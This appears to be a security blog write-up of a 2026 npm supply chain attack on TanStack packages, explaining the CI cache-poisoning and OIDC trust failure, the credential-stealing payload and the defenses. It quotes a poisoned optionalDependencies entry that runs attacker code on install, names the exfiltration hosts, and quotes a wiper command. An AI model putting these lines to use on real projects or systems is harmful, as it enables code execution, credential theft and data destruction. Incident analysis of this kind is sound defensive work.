A Brief Insight Into the ‘Mini’ Shai-Hulud Supply Chain Attack Campaign
In just six minutes, attackers turned one of JavaScript’s most trusted ecosystems into a supply chain infection vector.
On May 11, 2026, attackers hijacked TanStack’s GitHub Actions release pipeline and published malicious packages directly under the legitimate @tanstack namespace. Because the releases came through trusted CI infrastructure, the packages carried valid npm provenance attestations and appeared fully legitimate.
The blast radius quickly expanded beyond TanStack. Within hours, malicious packages spread into projects linked to Mistral AI, UiPath, DraftLab, OpenSearch, Guardrails AI, and dozens of other maintainers. What initially looked like a package compromise was actually a failure of multiple trust assumptions across GitHub Actions, npm trusted publishing, and CI provenance.
The Attack Chain
At first glance, this looked like a simple npm package compromise. It was not. The attack was actually a chain of small trust assumptions inside TanStack’s release pipeline that compounded into a supply chain incident.
The attack started with a malicious fork of tanstack/router called voicproducoes/route, and then the attacker created an orphaned commit (hash was 79ac49eedf774dd4b0cfa308722bc463cfe5885c), meaning a Git commit with no parent history and completely detached from the repository’s normal branch tree. This commit contained only two files:
- A json
- A malicious js payload (~2.3 MB)
The payload was packaged as @tanstack/setup and configured to execute automatically using npm’s prepare lifecycle hook.
The attacker then referenced this malicious package inside the optionalDependencies field of compromised TanStack packages:
"optionalDependencies": {
"@tanstack/setup":"github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
At this point, the compromise shifted from a malicious package publish to arbitrary code execution on developer machines.
When npm encounters a github: dependency, it clones the referenced repository commit directly and executes lifecycle hooks like prepare. That meant simply installing an affected TanStack package would silently fetch and execute attacker-controlled code on developer machines and CI runners. This is partly an npm design tradeoff. Bun and pnpm apply stricter defaults and controls around install behavior, reducing some of this risk.
The obvious question here is: How did attackers publish malicious packages under TanStack’s legitimate namespace?
The answer sits in a GitHub Actions trust chain.
TanStack used GitHub OIDC trusted publishing for npm releases. The problem was not OIDC itself, but the trust boundary. Publishing permissions were granted at the repository level rather than pinned to a specific workflow file on a protected branch.
That distinction matters. A repository-level trust model means unexpected workflow execution paths can still mint valid npm publish credentials.
According to TanStack’s postmortem, attackers abused GitHub Actions cache reuse alongside pull_request_target workflow behavior, poisoned the cache, and extracted a short-lived OIDC publish token directly from runner memory.
Since npm trusted TanStack’s repository identity, the attacker could publish packages that looked completely legitimate and even carried valid SLSA provenance.
In short:
Misconfigured CI trust + cache poisoning + overly broad OIDC permissions = legitimate malicious releases.
Why Provenance Did Not Protect Users
Provenance verifies how a package was built and where it came from. It does not verify whether the workflow itself should have been trusted.
In this case, the compromised packages still looked legitimate because they were published through TanStack’s real CI pipeline using valid GitHub OIDC credentials.
The problem was the trust scope. OIDC permissions were granted broadly at the repository level rather than being pinned to a specific workflow file and a protected branch. That meant an unexpected workflow execution path could still mint valid publish credentials.
In other words, provenance verified the build chain, but not the legitimacy of the trust chain behind it.
What the Malware Does
Once executed, the payload behaves less like a simple package backdoor and more like a full developer workstation compromise kit.
The obfuscated JavaScript payload (router_init.js) profiles the environment and targets:
- GitHub Actions secrets and OIDC tokens
- npm publish tokens
- Cloud provider credentials (AWS, GCP, Azure)
- Cryptocurrency wallets
- AI tool credentials, including Claude Code and VS Code
- SSH keys and messaging app tokens
Stolen data is exfiltrated through three independent channels: a typosquat domain (git-tanstack.com), the decentralized Session messenger network (filev2.getsession.org), and GitHub API dead drops using stolen tokens.
Using Session infrastructure is a deliberate evasion technique. Since it belongs to a legitimate privacy-focused messaging platform, outbound traffic is less likely to be blocked or flagged inside enterprise environments.
The malware also establishes persistence hooks in Claude Code and VS Code to survive reboots and re-execute on every IDE launch. It also installs a gh-token-monitor service that watches for and re-exfiltrates GitHub tokens, and injects two malicious GitHub Actions workflows that serialize repository secrets into a JSON object and upload them to an external server.
The Dead Man’s Switch
One particularly aggressive feature of this campaign is a dead man’s switch.
The malware installs a shell script that checks the api.github.com/user endpoint every 60 seconds to monitor whether an attacker-created npm token has been revoked. The token carries the description:
“IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner.”
If revoked, the malware executes rm -rf ~/, turning a credential stealer into a destructive wiper.
This creates an uncomfortable response problem. Revoking secrets immediately is normally the correct instinct, but in this case, defenders should first isolate the machine, preserve evidence if needed, and rotate credentials from a clean environment.
Current Status and Scope
The attack has been assigned CVE-2026-45321 with a CVSS score of 9.6 (critical). The npm team is actively removing malicious package versions from the registry. TanStack has published a postmortem tracing the compromise to the chained GitHub Actions attack involving the pull_request_target trigger, cache poisoning, and runtime memory extraction of the OIDC token from the runner process.
CISA has issued advisories for the broader Shai-Hulud campaign. Security firms, including Socket, Snyk, StepSecurity, Endor Labs, and Aikido Security, have published detailed analyses with package lists and remediation steps.
How to Safeguard Against such Supply Chain Attack
If You’re a Package Maintainer
- Pin OIDC trusted publishers to specific workflow files and protected branches, not the whole repository.
- Avoid pull_request_target unless absolutely necessary and lock down GitHub Actions permissions.
- Require protected branches, reviews, and signed commits for releases.
If You’re a Developer / Consumer
- Audit dependencies for affected versions. If installed, treat the machine as compromised and rotate secrets.
- Commit lockfiles (package-lock.json, pnpm-lock.yaml, lock) to verify dependency integrity.
- Enable minimum package age limits to avoid freshly published malicious packages.
Examples:
# npm (days) npm config set min-release-age 5 --location=user
# pnpm (minutes) pnpm config set minimum-release-age 7200 --global
# Yarn (minutes) yarn config set npmMinimalAgeGate 7200
# Bun (seconds) bunfig set install.minimumReleaseAge 432000
This delays installing packages published in the last 5 days, which would have significantly reduced exposure in incidents like this.
If You’re a Security / System Administrator
- Monitor for unusual GitHub Actions runs, npm token creation, and unexpected package publishing.
- Restrict outbound traffic where possible.
- If compromise is suspected: isolate first, rotate secrets second. Avoid responding from the infected machine.
Conclusion
The uncomfortable takeaway here is that trust in modern software is increasingly transitive.
Developers trusted TanStack. npm trusted GitHub OIDC. Provenance trusted the CI pipeline. Once a single trust boundary weakened, every downstream signal still appeared valid.
What made this incident dangerous was not just the malware, but the illusion of legitimacy. The packages were published through real infrastructure, under a trusted namespace, with valid provenance.
The lesson is straightforward: secure infrastructure does not remove trust problems. It shifts where those trust boundaries live, and small CI misconfigurations can quietly become ecosystem-wide incidents.
